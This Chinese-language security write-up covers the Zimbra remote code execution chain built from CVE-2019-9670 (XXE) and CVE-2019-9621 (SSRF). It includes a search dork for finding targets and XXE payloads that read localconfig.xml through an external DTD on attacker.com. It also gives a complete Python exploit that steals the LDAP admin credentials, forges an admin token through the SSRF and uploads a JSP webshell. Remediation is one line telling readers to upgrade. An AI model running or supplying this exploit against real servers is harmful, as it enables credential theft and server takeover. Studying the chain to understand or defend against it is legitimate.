0x01 漏洞概述
Zimbra Collaboration Suite是美国Zimbra公司的一款开源协同办公套件。该产品包括WebMail、日历、通信录等。近日,国外安全研究人员Tint0在博客中披露了一个针对Zimbra 邮件系统进行综合利用来达到远程代码执行效果的漏洞(CVE-2019-9621 CVE-2019-9670)。此漏洞的主要利用手法是通过XXE(XML 外部实体注入)漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest 认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传Webshell到Zimbra服务器,从而实现通过Webshell来达到远程代码执行效果。
影响版本
Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。 Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
CVE编号
CVE-2019-9670 CVE-2019-9621
公开时间
2019-03-13
组件Dork
app:"Zimbra" /help/zh_CN/standard/version.htm
0x02 漏洞分析
- CVE-2019-9670
踩着前人脚步定位到漏洞发生在AutoDiscoverServlet.java文件下doPost类
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
ZimbraLog.clearContext();
addRemoteIpToLoggingContext(req);
.....
String email = null;
String responseSchema = null;
try {
DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();
Document doc = docBuilder.parse(new InputSource(new StringReader(content)));
NodeList nList = doc.getElementsByTagName("Request");
for (int i = 0; i < nList.getLength(); i++) {
Node node = nList.item(i);
if (node.getNodeType() == Node.ELEMENT_NODE) {
Element element = (Element) node;
email = getTagValue("EMailAddress", element);
responseSchema = getTagValue("AcceptableResponseSchema", element);
if (email != null)
break;
}
}
} catch (Exception e) {
log.warn("cannot parse body: %s", content);
sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "Body cannot be parsed");
return;
}
//Return an error if there's no email address specified!
if (email == null || email.length() == 0) {
log.warn("No Email address is specified in the Request, %s", content);
sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "No Email address is specified in the Request");
return;
}
//Return an error if the response schema doesn't match ours!
String client = req.getHeader("User-Agent");
if (responseSchema != null && responseSchema.length() > 0) {
if (!isEwsClient(client) && !responseSchema.equals(NS_MOBILE)) {
log.warn("Requested response schema not available " + responseSchema);
sendError(resp, HttpServletResponse.SC_SERVICE_UNAVAILABLE,
"Requested response schema not available " + responseSchema);
return;
} else if (isEwsClient(client) && !responseSchema.equals(NS_OUTLOOK)) {
log.warn("Requested response schema not available " + responseSchema);
sendError(resp, HttpServletResponse.SC_SERVICE_UNAVAILABLE,
"Requested response schema not available " + responseSchema);
return;
}
}
查看该类下对Request中标签解析验证的部分代码可知其逻辑先遍历获取子标签EMailAddress
和AcceptableResponseSchema
,然后判断发现EMailAddress
邮箱如果不存在就直接如下400报错,
如果邮箱存在就跳出进行验证AcceptableResponseSchema
是否正确,如果不正确直接返回其内容和报错信息。因此发现可控参数AcceptableResponseSchema
无论正确与否均会返回解析的内容给前端,所以只需要构造要执行解析命令交给AcceptableResponseSchema
即可。反向结合解析所需的标签构造如下XML文件并执行
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/hostname" >]>
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
XXE命令执行没问题,此时还希望读取存放Ldap账号密码的localconfig.xml
配置文件,为接下来SSRF请求中的token做准备。因为读取xml文件所以添加上CDATA标签,且且XXE不能内部实体进行拼接,所以需要使用外部dtd。构造后的xml文件如下:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY xxe '%start;%file;%end;'>">
构造请求如下:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://attacker.com/dtd">
%dtd;
%all;
]>
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
至此CVE-2019-9670复现成功,利用XXE获取到localconfig.xml
账号信息得到Token。
CVE-2019-9621
Zimbra使用Memcached来做缓存,会把请求的信息转发给缓存服务器。查看代码ProxyServlet.java文件第216行发现String target = req.getParameter(TARGET_PARAM);
,即参数target是可控未做限制,即构造ssrf伪造目标。但Zimbra是通过Token来验证用户的权限,所以只有先获取到用户的Token然后携带Token进行SSRF请求才可以高权限访问。
通过查看如下代码发现并不需要admin权限token也可以进入if判断, 所以结合上面的XXE获取到的LADP账号密码即可先构造一个低权限token后然后再构造admin权限soap请求获取高权限token后,直接文件上传获取Shell。private void doProxy(HttpServletRequest req, HttpServletResponse resp) throws IOException { ZimbraLog.clearContext(); boolean isAdmin = isAdminRequest(req); AuthToken authToken = isAdmin ? getAdminAuthTokenFromCookie(req, resp, true) : getAuthTokenFromCookie(req, resp, true); if (authToken == null) { String zAuthToken = req.getParameter(QP_ZAUTHTOKEN); if (zAuthToken != null) { try { authToken = AuthProvider.getAuthToken(zAuthToken); if (authToken.isExpired()) { resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "authtoken expired"); return; } if (isAdmin && !authToken.isAdmin()) { resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "permission denied"); return; } } catch (AuthTokenException e) { resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "unable to parse authtoken"); return; } } } if (authToken == null) { resp.sendError(HttpServletResponse.SC_UNAUTHORIZED, "no authtoken cookie"); return; }
通过XXE获取的
zimbra_admin_name
和zimbra_ldap_password
进行登陆,获取一个低权限Token,
然后请求https://xxxx.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
,修改Cookie,设置Key为ZM_ADMIN_AUTH_TOKEN,值为上面请求所获取的token。需要注意的是发送的soap请求AuthRequest的xmlns要修改为urn:zimbraAdmin
,否则获取的还是普通权限的Token。
至此CVE-2019-9621高权限SSRF请求完成,通过访问/service/extension/clientUploader/upload
接口进行文件上传获取shell。
0x03 漏洞利用
# -*- coding:utf-8 -*-
# !/usr/bin/env python
# Zimbra_XxeToSsrf_Exp@Coco413.py
"""
upload dtd
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
python Zimbra_XxeToSsrf_Exp@Coco413.py http://example.com
"""
import re
import sys
import requests
import traceback
import warnings
reload(sys)
sys.setdefaultencoding('utf-8')
requests.packages.urllib3.disable_warnings()
warnings.filterwarnings("ignore")
def getZimbraAccount(test_url, dtd_url="https://k8gege.github.io/zimbra.dtd"):
username, password = "", ""
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "{dtd}">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(dtd=dtd_url)
try:
r = requests.post(test_url + "/Autodiscover/Autodiscover.xml", data=xxe_data,
headers={"Content-Type": "application/xml"}, verify=False, timeout=15)
if 'response schema not available' not in r.text:
print "[x] Not Found CVE-2019-9670 XXE Vuln"
pattern_name = re.compile(
r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(
r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
except IndexError:
pass
except:
traceback.print_exc()
finally:
return username, password
def authZimbraAccount(test_url):
auth_body = """<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
admin_token = ""
try:
username, password = getZimbraAccount(test_url)
if username and password:
print "[!] Found Zimbra Account:{},{}".format(username, password)
r = requests.post(test_url + "/service/soap",
data=auth_body.format(xmlns="urn:zimbraAccount", username=username, password=password),
verify=False)
pattern_auth_token = re.compile(r"<authToken>(.*?)</authToken>")
headers = {
"Content-Type": "application/xml",
"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + pattern_auth_token.findall(r.text)[0] + ";",
"Host": "foo:7071"
}
r2 = requests.post(test_url + "/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",
data=auth_body.format(xmlns="urn:zimbraAdmin", username=username, password=password),
headers=headers,
verify=False)
admin_token = pattern_auth_token.findall(r2.text)[0]
print "[!] Found Zimbra Admin Token:{}".format(admin_token)
except:
traceback.print_exc()
finally:
return admin_token
def main(test_url, fileContent, fileName):
uploadfile = {
'filename1': (None, "whocare", None),
'clientFile': (fileName, fileContent, "text/plain"),
'requestId': (None, "12", None),
}
try:
admin_token = authZimbraAccount(test_url)
if admin_token:
requests.post(test_url + "/service/extension/clientUploader/upload", files=uploadfile,
headers={"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";"},
verify=False)
print "[✓] WebShell address:\n{} {}\n".format(test_url + "/downloads/{}".format(fileName),
"ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";")
text = requests.get(test_url + "/downloads/{}".format(fileName),
headers={"Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token + ";"}, verify=False).text
print "[✓] Webshell address response:\n{}".format(text)
else:
print "[x] Not Found CVE-2019-9621 SSRF Vuln"
except IndexError:
print "[!] input target url to check(CVE-2019-9621、CVE-2019-9670)"
except:
traceback.print_exc()
if __name__ == "__main__":
jsp_content, jsp_name = r'<%out.println("love");%>', "shell.jsp"
test_url = sys.argv[1]
main(test_url.rstrip("/"), jsp_content, jsp_name)
0x04 漏洞修复
Zimbra官方下载最新版本进行修复:https://wiki.zimbra.com/wiki/Zimbra_Releases
0x05 漏洞参考
Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行
《A Saga of Code Executions on Zimbra》RCE分析+复现过程